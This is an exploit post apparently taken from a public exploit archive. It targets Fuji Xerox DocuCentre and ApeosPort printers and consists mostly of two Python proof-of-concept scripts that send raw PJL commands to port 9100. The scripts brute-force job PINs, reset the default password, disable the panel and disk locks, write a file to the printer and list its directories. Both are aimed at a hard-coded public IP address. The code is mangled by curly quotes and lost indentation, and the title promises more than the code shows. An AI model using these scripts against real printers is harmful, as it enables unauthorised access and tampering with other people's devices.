# Exploit Title: FUJI XEROX DocuCentre-V 3065 Printer – Remote Command Execution
# Date: 2018-09-05
# Exploit Author: vr_system
# Vendor Homepage: https://www.fujixerox.com.cn/
# Software Link: https://www.fujixerox.com.cn/
# Version: DocuCentre-IV,DocuCentre-VI,DocuCentre-V,ApeosPort-VI,ApeosPort-V
# Tested on: DocuCentre-V 3065,ApeosPort-VI C3371,ApeosPort-V C4475,ApeosPort-V C3375,DocuCentre-VI C2271,ApeosPort-V C5576,DocuCentre-IV C2263,DocuCentre-V C2263,ApeosPort-V 5070
# CVE : N/A
[su_quote]
# POC：Ability to write files to the printer
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import socket
import time
PJL_START = “\033%-12345X@PJL ”
PJL_FINISH = “\033%-12345X\r\n”
def Buildsocket(ip,port=9100):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
sock.settimeout(5)
try:
sock.connect((ip, port))
except:
print “[!*]-ip-%s-can’t connect–” % ip
return ‘error’
for i in range(500):
print”bypass pin:{0}”.format(i)
PJL_INFO_ID = “””JOB PASSWORD={0}\r\n”””.format(i)
DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH
sock.send(DEVICEID)
PJL_INFO_ID = “””DEFAULT PASSWORD=0\r\n”””
DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH
sock.send(DEVICEID)
PJL_INFO_ID = “””DEFAULT CPLOCK=OFF\r\n”””
DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH
sock.send(DEVICEID)
PJL_INFO_ID = “””DEFAULT DISKLOCK=OFF\r\n”””
DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH
sock.send(DEVICEID)
PJL_INFO_ID = “””FSDOWNLOAD FORMAT:BINARY SIZE=4 NAME=”0:/test4″\r\n”””
DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH
sock.send(DEVICEID)
try:
device = sock.recv(1024)
except:pass
PJL_INFO_ID = “””FSUPLOAD NAME=”0:/test4″ OFFSET=0 SIZE=4\r\n”””
DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH
sock.send(DEVICEID)
try:
device = sock.recv(1024)
except:pass
finally:
sock.close()
print “OK”
if __name__ == ‘__main__’:
ip = “118.42.125.192”
Buildsocket(ip, port=9100)
# POC：Ability to view files in the printer
##!/usr/bin/env python
# -*- coding: UTF-8 -*-
import socket
PJL_START = “\033%-12345X@PJL ”
PJL_FINISH = “\033%-12345X\r\n”
def Buildsocket(ip, port=9100):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
sock.settimeout(5)
try:
sock.connect((ip, port))
except:
print “[!*]-ip-%s-can’t connect–” % ip
return ‘error’
PJL_INFO_ID = “””FSDIRLIST NAME=”0:/” ENTRY=1 COUNT=65535″””
DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH
sock.send(DEVICEID)
try:
device = sock.recv(1024)
except:pass
PJL_INFO_ID = “””FSDIRLIST NAME=”0:/” ENTRY=1″””
DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH
sock.send(DEVICEID) #
try:
device = sock.recv(1024)
except:
return ‘No’
print “[!*]-ip-%s-is-ok\r\ndeviceidis-%s” % (str(ip), device)
sock.close()
return ‘OK’
if __name__ == ‘__main__’:
Buildsocket(“118.42.125.192”, port=9100)
[/su_quote]
